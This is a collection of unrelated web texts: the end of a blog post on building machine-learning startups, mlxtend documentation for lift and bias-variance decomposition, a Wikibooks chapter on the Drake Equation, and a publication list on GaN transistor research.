With Powered-by-ML solutions, one must be careful not to over-promise. Problems with a low margin for error are poor targets for these solutions. For example, if a product tries to automatically generate user-facing content, it’s likely to have errors that reflect poorly on the brand. Similarly, if it tries to make medical recommendations, it’s likely to make some unsafe mistakes. On the other hand, a product like Abnormal Security provides substantial value by finding phishing emails that would have otherwise never been caught. It’s okay that it doesn’t find every bad email, and it’s okay if it finds a few false positives, as long as customers are catching more phishing attempts with the product than without it. Beyond that, most problems require significant customer-specific data to provide high enough performance, so be prepared to work around poor results in the early days. If you’re an entrepreneur building a Powered-by-ML solution, it’s important to frame the problem you’re solving so that an imperfect ML model can still provide significant customer value.
Powered-by-ML companies targeting the right problems are highly repeatable. They can train a model in terms of a large corpus of data, spanning multiple companies, in a way that allows the next several customers to benefit almost immediately. That said, problems are rarely this neat & clean, and the solution to most problems varies from customer to customer. Imagine a fictional product that predicts which marketing campaigns will succeed based on a number of factors (e.g. product category, creative, pricing, target user, etc.). These factors vary significantly from company to company and likely require a different model in each case. If you plan to build a Powered-by-ML company, you’re best suited to pick problems that have a consistent set of data attributes (schema) and underlying drivers from customer to customer. A smoke test for this is whether the domain expert on your founding team can manually solve the problem for your entire customer base. Communication best-practices in a sales call and phishing emails are highly consistent from customer to customer. Marketing strategy and supply chain processes are not.
Some suggest leveraging professional services, which can be used to customize models manually, across customers. While this is viable, it’s a difficult model to scale while keeping attractive gross margins. For some subset of these problems, a much more technically ambitious approach is possible: AutoML.
AutoML technology automates the machine learning training and development process, enabling non-ML practitioners to train customized models to solve problems. Instead of pre-training for every possible scenario as in Powered-by-ML, AutoML products can learn on the fly from customer to customer. And unlike in-house ML efforts, they do not require ML practitioners and instead engage a much broader audience (today: IT and ops, tomorrow: business users). AutoML has been successfully applied to a number of problems — including document extraction, image labeling, time series forecasting, and entity recognition — where data varies significantly from customer to customer.
AutoML: key considerations
Target customer Organizations with custom or multiple problems that can be measured with data
Target buyer IT Executives, business stakeholders
Target user IT + Ops
Founding team Systems builders + ML practitioners
Pitfalls Stepping on ML users’ toes, require training data
Interesting cos Impira**, Abacus AI, DataRobot
AutoML: building for success
AutoML products use a fixed set of machine learning techniques that train on an individual customer’s data to produce a tailor-made model that solves their problem. By constraining the machine learning techniques used, they do not need an ML practitioner to manually devise a new model for each new customer or use case. DataRobot uses AutoML to automatically model trends in customer data. Impira** uses AutoML to automatically build custom text extraction models that understand a customer’s unique document formats.
Building an AutoML product is no easy task. The founding team needs ML expertise to build highly general models that can train on small volumes of data as well as systems expertise to automate training/deployment/execution of the generated models. Beyond that, the average user is not used to training machine learning models, so the product needs to have a user experience that simplifies these concepts. For example, Impira strives to build an experience that is as simple as a spreadsheet.
AutoML: avoiding pitfalls
While AutoML solutions enable everyday users to train their own models, the data science population has mixed reactions. Technically speaking, data scientists can often produce much better solutions than AutoML. In fact, companies like DataRobot have developed an adversarial relationship with data scientists, which can create internal struggles for buyers who employ them. A simple way to avoid this is to frame AutoML solutions in terms of the problems they solve — document extraction (Impira), business intelligence (DataRobot), and personalization (Abacus) — instead of the ML techniques used to solve them. This positioning will more likely lead to the customers actually experiencing these problems, who tend not to be data scientists.
Unlike Powered-by-ML solutions, which can reuse a model trained on one customer’s data for the next customer, AutoML solutions must be trained for each new customer. This requires an initial training data set and some time/effort from the user. It’s important to pick problems that can be trained quickly and effectively with small amounts of data and a quick feedback loop. For example, a problem that requires optimizing large or complex deep neural nets is a poor candidate for AutoML because you need massive volumes of data and compute power to train and cross-validate them. One trick is to break a problem down into smaller pieces, some of which can be pre-trained over a massive dataset and others which can be learned for a particular customer. For example, Impira uses pre-trained OCR models which feed into per-customer AutoML text extraction models. Another emerging technique is transfer learning, which reduces the volume of data required to specialize a pre-trained neural net to a particular problem.
The market for ML technology is massive. ML systems provide tools for a new group of users, Powered-by-ML solutions provide automation around previously manual tasks, and AutoML solutions have the ability to disrupt existing categories because they target everyday users. At Base Case, we believe there are many great companies to be built across ML systems, Powered-by-ML, and AutoML. The winning combination is a founding team with a skill set that matches the problem they’re out to solve. In machine learning, problem framing is everything. If you’re a founder with an idea in the ML space, or even one who is passionate about ML, but trying to find the right kind of company to start, we would love to chat.
*Base Case Capital is an investor
**Ankur is the Founder & CEO of Impira
Thanks to Saam Motamedi, Grant Shirk, Richard Stebbing, Tom Swartz, and Julie Pang for their feedback on this post.
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lift_score: Lift score for classification and association rule mining - mlxtend
Example 1 - Computing Lift
Example 2 - Using lift_score in GridSearch
Scoring function to compute the LIFT metric, the ratio of correctly predicted positive examples and the actual positive examples in the test dataset.
from mlxtend.evaluate import lift_score
In the context of classification, lift [1] compares model predictions to randomly generated predictions. Lift is often used in marketing research combined with gain and lift charts as a visual aid [2]. For example, assuming a 10% customer response as a baseline, a lift value of 3 would correspond to a 30% customer response when using the predictive model. Note that lift has the range
\lbrack 0, \infty \rbrack
There are many strategies to compute lift, and below, we will illustrate the computation of the lift score using a classic confusion matrix. For instance, let's assume the following prediction and target labels, where "1" is the positive class:
\text{true labels}: [0, 0, 1, 0, 0, 1, 1, 1, 1, 1]
\text{prediction}: [1, 0, 1, 0, 0, 0, 0, 1, 0, 0]
Then, our confusion matrix would look as follows:
Based on the confusion matrix above, with "1" as positive label, we compute lift as follows:
Plugging in the actual values from the example above, we arrive at the following lift value:
An alternative way to computing lift is by using the support metric [3]:
Support is
x / N
x
is the number of incidences of an observation and
N
is the total number of samples in the datset.
\text{true labels} \cap \text{prediction}
are the true positives,
true labels
are true positives plus false negatives, and
prediction
are true positives plus false positives. Plugging the values from our example into the equation above, we arrive at:
[1] S. Brin, R. Motwani, J. D. Ullman, and S. Tsur. Dynamic itemset counting and implication rules for market basket data. In Proc. of the ACM SIGMOD Int'l Conf. on Management of Data (ACM SIGMOD '97), pages 265-276, 1997.
[2] https://www3.nd.edu/~busiforc/Lift_chart.html
[3] https://en.wikipedia.org/wiki/Association_rule_learning#Support
This examples demonstrates the basic use of the lift_score function using the example from the Overview section.
y_target = np.array([0, 0, 1, 0, 0, 1, 1, 1, 1, 1])
y_predicted = np.array([1, 0, 1, 0, 0, 0, 0, 1, 0, 0])
lift_score(y_target, y_predicted)
The lift_score function can also be used with scikit-learn objects, such as GridSearch:
# make custom scorer
lift_scorer = make_scorer(lift_score)
X, y, test_size=0.2, stratify=y, random_state=123)
hyperparameters = [{'kernel': ['rbf'], 'gamma': [1e-3, 1e-4],
clf = GridSearchCV(SVC(), hyperparameters, cv=10,
scoring=lift_scorer)
{'gamma': 0.001, 'kernel': 'rbf', 'C': 1000}
The in terms of True Positives (TP), True Negatives (TN), False Positives (FP), and False Negatives (FN), the lift score is computed as: [ TP/(TP+FN) ] / [ (TP+FP) / (TP+TN+FP+FN) ]
\infty
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bias_variance_decomp: Bias-variance decomposition for classification and regression losses - mlxtend
Example 1 -- Bias Variance Decomposition of a Decision Tree Classifier
Example 2 -- Bias Variance Decomposition of a Decision Tree Regressor
Example 3 -- TensorFlow/Keras Support
Bias variance decomposition of machine learning algorithms for various loss functions.
Often, researchers use the terms bias and variance or "bias-variance tradeoff" to describe the performance of a model -- i.e., you may stumble upon talks, books, or articles where people say that a model has a high variance or high bias. So, what does that mean? In general, we might say that "high variance" is proportional to overfitting, and "high bias" is proportional to underfitting.
Anyways, why are we attempting to do this bias-variance decomposition in the first place? The decomposition of the loss into bias and variance helps us understand learning algorithms, as these concepts are correlated to underfitting and overfitting.
To use the more formal terms for bias and variance, assume we have a point estimator
\hat{\theta}
of some parameter or function
\theta
. Then, the bias is commonly defined as the difference between the expected value of the estimator and the parameter that we want to estimate:
If the bias is larger than zero, we also say that the estimator is positively biased, if the bias is smaller than zero, the estimator is negatively biased, and if the bias is exactly zero, the estimator is unbiased. Similarly, we define the variance as the difference between the expected value of the squared estimator minus the squared expectation of the estimator:
Note that in the context of this lecture, it will be more convenient to write the variance in its alternative form:
To illustrate the concept further in context of machine learning ...
Suppose there is an unknown target function or "true function" to which we do want to approximate. Now, suppose we have different training sets drawn from an unknown distribution defined as "true function + noise." The following plot shows different linear regression models, each fit to a different training set. None of these hypotheses approximate the true function well, except at two points (around x=-10 and x=6). Here, we can say that the bias is large because the difference between the true value and the predicted value, on average (here, average means "expectation of the training sets" not "expectation over examples in the training set"), is large:
The next plot shows different unpruned decision tree models, each fit to a different training set. Note that these hypotheses fit the training data very closely. However, if we would consider the expectation over training sets, the average hypothesis would fit the true function perfectly (given that the noise is unbiased and has an expected value of 0). As we can see, the variance is very large, since on average, a prediction differs a lot from the expectation value of the prediction:
Bias-Variance Decomposition of the Squared Loss
We can decompose a loss function such as the squared loss into three terms, a variance, bias, and a noise term (and the same is true for the decomposition of the 0-1 loss later). However, for simplicity, we will ignore the noise term.
Before we introduce the bias-variance decomposition of the 0-1 loss for classification, let us start with the decomposition of the squared loss as an easy warm-up exercise to get familiar with the overall concept.
The previous section already listed the common formal definitions of bias and variance, however, let us define them again for convenience:
Recall that in the context of these machine learning lecture (notes), we defined
the true or target function as
y = f(x)
the predicted target value as
\hat{y} = \hat{f}(x) = h(x)
and the squared loss as
S = (y - \hat{y})^2
. (I use
S
here because it will be easier to tell it apart from the
E
, which we use for the expectation in this lecture.)
Note that unless noted otherwise, the expectation is over training sets!
To get started with the squared error loss decomposition into bias and variance, let use do some algebraic manipulation, i.e., adding and subtracting the expected value of
\hat{y}
and then expanding the expression using the quadratic formula
(a+b)^2 = a^2 + b^2 + 2ab)
Next, we just use the expectation on both sides, and we are already done:
You may wonder what happened to the "
2ab
" term (
2(y - E[\hat{y}])(E[\hat{y}] - \hat{y})
) when we used the expectation. It turns that it evaluates to zero and hence vanishes from the equation, which can be shown as follows:
So, this is the canonical decomposition of the squared error loss into bias and variance. The next section will discuss some approaches that have been made to decompose the 0-1 loss that we commonly use for classification accuracy or error.
The following figure is a sketch of variance and bias in relation to the training error and generalization error -- how high variance related to overfitting, and how large bias relates to underfitting:
Bias-Variance Decomposition of the 0-1 Loss
Note that decomposing the 0-1 loss into bias and variance components is not as straight-forward as for the squared error loss. To quote Pedro Domingos, a well-known machine learning researcher and professor at University of Washington:
"several authors have proposed bias-variance decompositions related to zero-one loss (Kong & Dietterich, 1995; Breiman, 1996b; Kohavi & Wolpert, 1996; Tibshirani, 1996; Friedman, 1997). However, each of these decompositions has significant shortcomings.". [1]
In fact, the paper this quote was taken from may offer the most intuitive and general formulation at this point. However, we will first, for simplicity, go over Kong & Dietterich formulation [2] of the 0-1 loss decomposition, which is the same as Domingos's but excluding the noise term (for simplicity).
The table below summarizes the relevant terms we used for the squared loss in relation to the 0-1 loss. Recall that the 0-1 loss,
L
, is 0 if a class label is predicted correctly, and one otherwise. The main prediction for the squared error loss is simply the average over the predictions
E[\hat{y}]
(the expectation is over training sets), for the 0-1 loss Kong & Dietterich and Domingos defined it as the mode. I.e., if a model predicts the label one more than 50% of the time (considering all possible training sets), then the main prediction is 1, and 0 otherwise.
(y - \hat{y})^2
L(y, \hat{y})
E[(y - \hat{y})^2]
E[L(y, \hat{y})]
Main prediction
E[\hat{y}]
mean (average) mode
^2
(y-E[{\hat{y}}])^2
L(y, E[\hat{y}])
E[(E[{\hat{y}}] - \hat{y})^2]
E[L(\hat{y}, E[\hat{y}])]
Hence, as result from using the mode to define the main prediction of the 0-1 loss, the bias is 1 if the main prediction does not agree with the true label
y
, and 0 otherwise:
The variance of the 0-1 loss is defined as the probability that the predicted label does not match the main prediction:
Next, let us take a look at what happens to the loss if the bias is 0. Given the general definition of the loss, loss = bias + variance, if the bias is 0, then we define the loss as the variance:
In other words, if a model has zero bias, it's loss is entirely defined by the variance, which is intuitive if we think of variance in the context of being proportional overfitting.
The more surprising scenario is if the bias is equal to 1. If the bias is equal to 1, as explained by Pedro Domingos, the increasing the variance can decrease the loss, which is an interesting observation. This can be seen by first rewriting the 0-1 loss function as
(Note that we have not done anything new, yet.) Now, if we look at the previous equation of the bias, if the bias is 1, we have
y \neq E[{\hat{y}}]
y
is not equal to the main prediction, but
y
is also is equal to
\hat{y}
\hat{y}
must be equal to the main prediction. Using the "inverse" ("1 minus"), we can then write the loss as
Since the bias is 1, the loss is hence defined as "loss = bias - variance" if the bias is 1 (or "loss = 1 - variance"). This might be quite unintuitive at first, but the explanations Kong, Dietterich, and Domingos offer was that if a model has a very high bias such that it main prediction is always wrong, increasing the variance can be beneficial, since increasing the variance would push the decision boundary, which might lead to some correct predictions just by chance then. In other words, for scenarios with high bias, increasing the variance can improve (decrease) the loss!
[1] Domingos, Pedro. "A unified bias-variance decomposition." Proceedings of 17th International Conference on Machine Learning. 2000.
[2] Dietterich, Thomas G., and Eun Bae Kong. Machine learning bias, statistical bias, and statistical variance of decision tree algorithms. Technical report, Department of Computer Science, Oregon State University, 1995.
Average expected loss: 0.062
Average bias: 0.022
Average variance: 0.040
For comparison, the bias-variance decomposition of a bagging classifier, which should intuitively have a lower variance compared than a single decision tree:
bag, X_train, y_train, X_test, y_test,
tree = DecisionTreeRegressor(random_state=123)
Average expected loss: 31.536
Average bias: 14.096
Average variance: 17.440
For comparison, the bias-variance decomposition of a bagging regressor is shown below, which should intuitively have a lower variance than a single decision tree:
bag = BaggingRegressor(base_estimator=tree,
Since mlxtend v0.18.0, the bias_variance_decomp now supports Keras models. Note that the original model is reset in each round (before refitting it to the bootstrap samples).
mean_squared_error(model.predict(X_test), y_test)
Note that it is highly recommended to use the same number of training epochs that you would use on the original training set to ensure convergence:
epochs=200, # fit_param
verbose=0) # fit_param
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Planet Earth/7a. How Rare is Life in the Universe? - Wikibooks, open books for an open world
Planet Earth/7a. How Rare is Life in the Universe?
1 Is Life Unique to Earth?
2.1 R*, rate of star formation
2.2 ne, is the number of Earth-like planets
2.3 fl, life originating on these Earth-like planets
2.4 fi, the percentage of planets with intelligent life
2.5 fc, capacity for interstellar communication
2.6 L, the duration of interstellar communication on a planet
3 Is Earth unique in harboring life?
Is Life Unique to Earth?[edit | edit source]
The 100 meter radio-telescope in Effelsberg, Germany.
Despite every attempt to find evidence of life on Mars, scientists using rovers and landers such as the Curiosity Rover, have failed to locate evidence of life forms on the red planet.
Since the advent of radio-telescopes, scientists have been scanning the skies for messages from the depths of outer space, especially of other intelligent beings in the universe. In the endless quest to find even the simplest lifeforms on other planets scientists have gone to extraordinary lengths to send spacecraft and landing rovers to other planets in our own solar system. Only to find them empty, barren of even the simplest of single celled lifeforms. What makes life on Earth so unique and so special? And what is the possibility that there may be other planets in the universe with lifeforms like those found on Earth? Of intelligent life, like humans able to communicate between the stars using light. For Frank Drake these questions haunted him, and since the 1950s he has developed tools to try and observe radio transmissions from other planets, and listen for signals from space. So far, they have been eerily quiet. Radio waves travel at the speed of light, faster than any space craft, and listening for these signals is the best way to observe extraterrestrial intelligent life, able to produce such communications. So far only silence.
The Drake Equation[edit | edit source]
In 1959, Frank Drake held a meeting of some of the top scientists of the day including Carl Sagan, to work on quantifying the possibility of life on other planets. He was likely discouraged by the lack of evidence for extraterrestrial life, but eager to encourage others to look for life beyond Earth, especially at the beginning of the Space Age of the 1960s.
A few years before, the nuclear physicist Enrico Fermi made a statement during a lunch conversation at the Los Alamos National Laboratory, among his fellow scientists, he asked them “Where are they?” Noting the lack of evidence for extraterrestrial life beyond Earth, but also remarking on the likely high probability of life existing at least somewhere in the universe, since there are so many stars and so many possible planets. This idea has been called the Fermi Paradox, a paradox that states that despite there being a high probability of life existing on other planets, there is no evidence for life found beyond that found here on Earth, even despite our best efforts in searching for it. A few years later Frank Drake wanted to estimate what this probability is for extraterrestrial life, and he prepared a mathematical equation to approximate this probability to present to his friends and colleagues at a meeting. This mathematical equation has become known as the Drake Equation. Since its first quantification in 1959, the equation has been modified and studied by those scientists who want to try and understand the rarity of life in the universe, but it is an incomplete model, and maybe in error.
The basic Drake Equation is
{\displaystyle N=R*\cdot fp\cdot ne\cdot fl\cdot fi\cdot fc\cdot L}
{\displaystyle N}
is the number of civilizations in the universe with interstellar communication possibilities.
{\displaystyle R*}
is the rate of star formation in the universe,
{\displaystyle fp}
is the average fraction that have planets,
{\displaystyle ne}
is the average number of planets that can support life,
{\displaystyle fl}
is the fraction of planets that develop lifeforms,
{\displaystyle fi}
is the fraction of planets that develop intelligent life,
{\displaystyle fc}
is the fraction of civilizations that develop a technology that releases signals of their existence, and
{\displaystyle L}
is the length of time those civilizations exist in time before becoming extinct.
R*, rate of star formation[edit | edit source]
Estimated values for R* are likely very large, the Milky Way Galaxy produces between four to seven new stars a year (https://www.nasa.gov/centers/goddard/news/topstory/2006/milkyway_seven.html), and with a universe with an estimated 100 billion galaxies, the net increase of stars per year is about 400 to 700 billion stars per year. A very large number, and this increases the probability of life somewhere in the trillions of stars of the universe. The estimated percentage of these stars with planets is also estimated to be a fairly high percentage, as study of exoplanets have revealed that many if not most stars have planets that rotate around them, a generous 90% of stars might have planets, and hence solar systems.
ne, is the number of Earth-like planets[edit | edit source]
The next value ne is the number of Earth-like planets, a value that is much more difficult to determine. In our own solar system Earth sits in the triple junction for the presence of water as solid, liquid and gas phases. Some use this critical zone as the possible region from a star that a planet would exhibit a liquid ocean, and ice caps, with some atmospheric water, and hence necessary for life. This is a fairly narrow distance from a sun, and some planets even within this zone might be too large or too small in mass. Study of exoplanets reveals a huge variation in the configuration of solar systems, and this value is much lower than 1. Maybe an Earth-like planet is found in 1 in 1,000 solar systems, a value of 0.1%.
fl, life originating on these Earth-like planets[edit | edit source]
The next three values to estimate are fl the percentage of life originating on these planets, and fi the percentage of intelligent life originating on these planets, and fc the ability of this intelligent life to be able to send communication signals between planets. Of the three values dealing with life, fl is one of the most likely, as life on Earth originated very early in its history about 3.8 billion years into Earth’s beginnings there is indirect evidence for the existence of life, and by 3 billion years life is common. The study of other planets, although a very limited sample, suggests that life has very narrow conditions for its presence, as we have not found any organic molecules on Mars or the Moon. If the fraction is on the order of 1 in every 1,000 Earthlike planets, fl would be near 0.1%. This would mean that within the universe there are 630 billion planets with life existing on them. Unintelligent, single celled lifeforms that can’t communicate would be the dominate mode of life in the universe. Of the parameters most changing to estimate, fi and fc are the most critical.
fi, the percentage of planets with intelligent life[edit | edit source]
The percent of these planets with intelligent life and life able to communicate between stars using radio waves. Some scientists argue that these percentages are very small, as demonstrated by the long length of geological time on Earth for an intelligent species, humans, to evolve and be able to send radio signals. Donald Brownlee and Peter Ward argue for very tiny numbers for these values, making the possibility of intelligent life on other planets very unlikely, and have coined the hypotheses called Rare Earth. They view the complex series of events that has led to the advent of humans as being highly unlikely to occur on another planet. The 3.8 billion years that it took for humans to appear on Earth is a testament to the low probability of a similar series of events occurring on another planet. Life does not inherently become intelligent over time, it just survives and makes do with its environment. If fi is 1 in 3.8 billion chance (using the yearly probably since the origin of life) of intelligent life evolving, then fi is an extremely small number (0.0000000026%).
fc, capacity for interstellar communication[edit | edit source]
The next value fc is the percentage of these intelligent life planets having the capability of interstellar communication. If humans have been around for 250,000,000 years, and radio signals were discovered only in the last 150 years, a 150 years of communication divided by 250,000,000 years of human existence as a species as the intelligent life on the planet, the value for fc is 0.000006%.
L, the duration of interstellar communication on a planet[edit | edit source]
The last value is L, the length of time that interstellar communication exists on a planet. This was a value that intrigued and bothered Carl Sagan, for he worried that one of the most limiting of the variables of the Drake Equation was the length such highly intelligent species are able to maintain interstellar communication, the value of L. Global war, pandemics, extinction due to limited resources, climate change and other disasters might befall such advanced civilizations, ending their abilities to communicate beyond the stars. A fairly conservative number would be 1,000-years, although such units of time might range across widely different units of time depending on the intelligence and nature of these alien species. We can add a few years, maybe 17. But a 1,017-year length of time is a fairly long civilization on Earth, longer than most empires on Earth, and all the while maintaining the ability to detect and send these signals into space.
If we solve for N, where the number of civilizations in the universe with interstellar communication possibilities, using these estimated, guessed at, or even just jolted down based on non-existent data, we get a simple value of N, of just 1.
Is Earth unique in harboring life?[edit | edit source]
Is Earth unique by being the only planet that has intelligent life?
One civilization in all the universe with the ability of interstellar communication, but without any other planet to communicate with. These estimates of the Drake Equation could be, and likely are wrong, widely miss-representing the true probabilities, but they highlight something really important, the key to really getting at the sense of whether Earth is the only planet with intelligent life in the universe depends how we estimate the rarity of the existence of intelligent life through billions of years in the process that life underwent on Earth to lead to the advent of intelligent lifeforms, such as yourself. What bizarre world that we live in where you can read these words, comprehend them, and gain knowledge through them. How has life gone from a single complex molecule, to cellular organisms, to multicellular organisms, to animals that move and swim, to a tool builder, and eventually to a creature such as yourself.
This is the story of life on planet Earth, and why it is so precious, and possibly so rare. Earth is unique not because of its dimensions, atmosphere, oceans, continents, or rocky and molten interior, but it is unique because it is the only planet we know of that harbors intelligent life.
Retrieved from "https://en.wikibooks.org/w/index.php?title=Planet_Earth/7a._How_Rare_is_Life_in_the_Universe%3F&oldid=4048123"
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Search results for: Yuanjie Lv
Enhancement‐Mode β‐Ga2O3 Metal‐Oxide‐Semiconductor Field‐Effect Transistor with High Breakdown Voltage over 3000 V Realized by Oxygen Annealing
Yuanjie Lv, Xingye Zhou, Shibing Long, Yuangang Wang, more
Herein, high‐performance enhancement‐mode (E‐mode) β‐Ga2O3 metal‐oxide‐semiconductor field‐effect transistors (MOSFETs) are achieved on Si‐doped homoepitaxial films. Oxygen annealing (OA) treatment under the gate region is used to effectively exhaust the channel electron, resulting in the normally off operation of the device. The threshold voltage, defined as that at the drain current of 0.1 mA mm...
Threshold voltage modulation mechanism of high-performance normally-off AlGaN/GaN gates-separating groove HFET
Yuangang Wang, Yuanjie Lv, Xingye Zhou, Xubo Song, more
In this paper, we report on a novel enhancement-mode AlGaN/GaN gates-separating groove heterostructure field-effect transistor (GSG HFET), in which a block barrier exists between the double gates as realized by dry etching. The current transport dominated by thermionic emission or thermionic field emission results in a high drain current density. The threshold voltage modulation mechanism of AlGaN/GaN...
Influence of polarization Coulomb field scattering on high-temperature electron mobility in AlGaN/AlN/GaN heterostructure field-effect transistors
Yan Liu, Zhaojun Lin, Peng Cui, Chen Fu, more
The high-temperature electron mobility (μHT) of the AlGaN/AlN/GaN heterostructure field-effect transistor (HFET) has been studied in the temperature range 300–500 K. Here, the influence of the polarization Coulomb field (PCF) scattering on μHT in AlGaN/AlN/GaN HFET draws our attention, and the experimental results have revealed that PCF scattering plays a more significant role in the changing trend...
High‐Frequency Flexible Graphene Field‐Effect Transistors with Short Gate Length of 50 nm and Record Extrinsic Cut‐Off Frequency
Cui Yu, Zezhao He, Xubo Song, Qingbin Liu, more
Flexible graphene field effect transistors (GFETs) are fabricated on a polyimide (PI) substrate by an improved self‐aligned fabrication procedure. Short gate length of 50 nm is achieved. Ohmic contact resistance is depressed. The prepared GFET shows comparable intrinsic cut‐off frequency and maximum oscillation frequency of 116 and 110 GHz, respectively. The high frequency of flexible GFET demonstrated...
Effect of gate–source spacing on parasitic source access resistance in AlGaN/GaN heterostructure field-effect transistors
Peng Cui, Zhaojun Lin, Chen Fu, Yan Liu, more
In this paper, the AlGaN/GaN heterostructure field-effect transistors (HFETs) with different gate–source spacings were fabricated. Using the measured parasitic source access resistance and the scattering theoretical calculation, it is verified that the gate–source spacing can affect the parasitic source access resistance by altering PCF scattering. This paves a possible way to utilize this effect...
The influence of the PCF scattering on the electrical properties of the AlGaN/AlN/GaN HEMTs after the Si3N4 surface passivation
Chen Fu, Zhaojun Lin, Peng Cui, Yuanjie Lv, more
In this paper, the detailed device characteristics were investigated both before and after the Si3N4 passivation grown by plasma-enhanced chemical vapor deposition (PECVD). Better transport properties have been observed for the passivated devices compared with the same ones before passivation. The strain variation and the influence of the scattering mechanisms were analyzed and studied. The calculated...
Surface morphology evolution and optoelectronic properties of heteroepitaxial Si-doped β-Ga2O3 thin films grown by metal-organic chemical vapor deposition
Daqiang Hu, Ying Wang, Shiwei Zhuang, Xin Dong, more
Heteroepitaxial growth of conductive Si-doped β-Ga2O3 films on c-plane sapphire substrates by metal-organic chemical vapor deposition (MOCVD) was successfully performed. The effect of Si content on the structural, morphological, electrical and optical properties of Si-doped β-Ga2O3 films was investigated in detail. Distinctive surface morphology evolution of films depending on Si content was observed...
A new method to determine the 2DEG density distribution for passivated AlGaN/AlN/GaN heterostructure field-effect transistors
A new method to determine the two-dimensional electron gas (2DEG) density distribution of the AlGaN/AlN/GaN heterostructure field-effect transistors (HFETs) after the Si3N4 passivation process has been presented. Detailed device characteristics were investigated and better transport properties have been observed for the passivated devices. The strain variation and the influence of the surface trapping...
Determination of the strain distribution for the Si3N4 passivated AlGaN/AlN/GaN heterostructure field-effect transistors
Chen Fu, Zhaojun Lin, Yan Liu, Peng Cui, more
A method to determine the strain distribution of the AlGaN barrier layer after the device fabrication and the passivation process has been presented. By fitting the calculated parasitic source access resistance with the measured ones for the AlGaN/AlN/GaN HFETs and using the polarization Coulomb field scattering theory, the strain variation of the AlGaN barrier layer after the passivation process...
A method to determine electron mobility of the two-dimensional electron gas in AlGaN/GaN heterostructure field-effect transistors
Taking into consideration the resistance variation in the free-contact area versus the gate bias, an applicable method to determine the electron mobility in AlGaN/GaN heterostructure field-effect transistors was presented. Based on the measured capacitance-voltage and current-voltage curves, the new method employed iteration calculation with different scattering mechanisms. Compared to the electron...
Anxiety Level Detection Using BCI of Miner’s Smart Helmet
Mei Wang, Songzhi Zhang, Yuanjie Lv, Huimin Lu
Mobile Networks and Applications > 2018 > 23 > 2 > 336-343
Miner’s wearable robot is an important mobile terminal of the monitoring network for the coal mine production safety. However, it is difficult to find the study on the miner’s emotion change using brain-computer interface (BCI) for miner’s wearable robot, especially for the smart helmet. This paper explores the anxiety change rule and the detection method using BCI of miner’s smart helmet. There are...
Reliability Assessment of InAlN/GaN HFETs With Lifetime
8.9\times 10^{\mathrm {6}}
Yuangang Wang, Yuanjie Lv, Xubo Song, Lei Chi, more
IEEE Electron Device Letters > 2017 > 38 > 5 > 604 - 606
Based on the three-temperature 30 V DC stress tests, the reliability of InAlN/GaN heterostructure field-effect transistors (HFETs) on SiC substrate was assessed for the first time. Using a failure criterion defined as 20% reduction in zero-gate-voltage drain current ( $I_{\mathrm {dss}}$ ), the activation energy was estimated to be 1.94 eV, and the median time to failure was estimated to be $8.9\times 10^{6}$ ...
Influence of Different Gate Biases and Gate Lengths on Parasitic Source Access Resistance in AlGaN/GaN Heterostructure FETs
Peng Cui, Huan Liu, Wei Lin, Zhaojun Lin, more
The AlGaN/GaN heterostructure FETs with different gate lengths were fabricated. Under different gate biases or for the devices with different gate lengths, the measured parasitic source access resistance values were different. By the analysis of different scattering mechanisms and polarization charge distribution, it is found that the gate bias and gate length can change the polarization Coulomb field...
Enhanced effect of diffused Ohmic contact metal atoms for device scaling in AlGaN/GaN heterostructure field-effect transistors
Huan Liu, Aijie Cheng, Zhaojun Lin, Peng Cui, more
Using measured capacitance-voltage and current-voltage curves for the AlGaN/GaN heterostructure field-effect transistors with different source-drain spacing, the electron mobility under the gate region was obtained. By comparing mobility variation and analyzing polarization charge distribution, it is found that with device scaling, the effect of the diffused Ohmic contact metal atoms on the electron...
Influence of different GaN cap layer thicknesses on electron mobility in AlN/GaN heterostructure field-effect transistors
Peng Cui, Huan Liu, Zhaojun Lin, Aijie Cheng, more
The AlN/GaN heterostructure field-effect transistors with different GaN cap layer thicknesses were fabricated. With the calculated electron mobility and polarization charge distribution, the influence of different GaN cap layer thicknesses on electron mobility was determined by experiment and theoretical calculation. It is found that the increase of the GaN cap layer thickness can weaken the polarization...
Improved performance of scaled AlGaN/GaN HFETs by recessed gate
Yuanjie Lv, Xubo Song, Zhirong Zhang, Xin Tan, more
2016 13th China International Forum on Solid State Lighting: International Forum on Wide Bandgap Semiconductors China (SSLChina: IFWS) > 107 - 109
2016 13th China International Forum on Solid State Lighting: International Forum on Wide Bandgap Semiconductors China (SSLChina: IFWS)
The performance of scaled AlGaN/GaN HFETs was significantly improved by using gate-recess technology and regrown n+-GaN Ohmic contacts. Source-to-drain distance (Zsd) was scaled to 600 nm by employing regrown n+-GaN Ohmic contacts. Low-damage gate recess was taken before 60 nm T-shaped gate metallization. The drain current curve becomes flat over knee voltage, and the short-channel effects were suppressed...
Study of Gate Width Influence on Extrinsic Transconductance in AlGaN/GaN Heterostructure Field-Effect Transistors With Polarization Coulomb Field Scattering
Ming Yang, Yuanjie Lv, Zhihong Feng, Wei Lin, more
IEEE Transactions on Electron Devices > 2016 > 63 > 10 > 3908 - 3913
AlGaN/GaN heterostructure FETs with the same gate length and different gate widths were fabricated, and the extrinsic transconductance was measured. The device with a wider gate width shows a lower peak value, but a slower drop of extrinsic transconductance. This phenomenon is attributed to the influence of polarization Coulomb field (PCF) scattering, which originates from the irregular distribution...
High-frequency AlGaN/GaN HFETs with fT/fmax of 149/263 GHz for D-band PA applications
Yuanjie Lv, Xubo Song, Hongyu Guo, Yulong Fang, more
Scaled AlGaN/GaN heterostructure field-effect transistors (HFETs) with high unity current gain cut-off frequency (fT) and maximum oscillation frequency (fmax) were fabricated and characterised on SiC substrate. In the device, scaled source-to-drain distance (Lsd) of 600 nm was realised by employing non-alloyed regrown n+-GaN ohmic contacts. A 60 nm T-shaped AlGaN/GaN HFETs showed excellent DC and...
A Fan Control System Base on Steady-State Visual Evoked Potential
Mei Wang, Yuanjie Lv, Miaoli Wen, Sailong He, more
2016 International Symposium on Computer, Consumer and Control (IS3C) > 81 - 84
Based on Steady State Visual Evoked Potential (SSVEP), a fan control system was designed and realized for the disabled to improve the rehabilitation environment. Four strategies were used in this system. Firstly, we used the visual stimuluses of different frequencies to produce the electroencephalogram (EEG), and the noises were removed from the EEG by wavelet reconstruction, and the control codes...
POLARIZATION COULOMB FIELD SCATTERING (10)
ALGAN/ALN/GAN HFETS (4)
ALGAN/GAN HETEROSTRUCTURE FETS (HFETS) (3)
ALGAN/GAN HFETS (3)
CURRENT COLLAPSE (2)
EXTRINSIC TRANSCONDUCTANCE (2)
PARASITIC SOURCE ACCESS RESISTANCE (2)
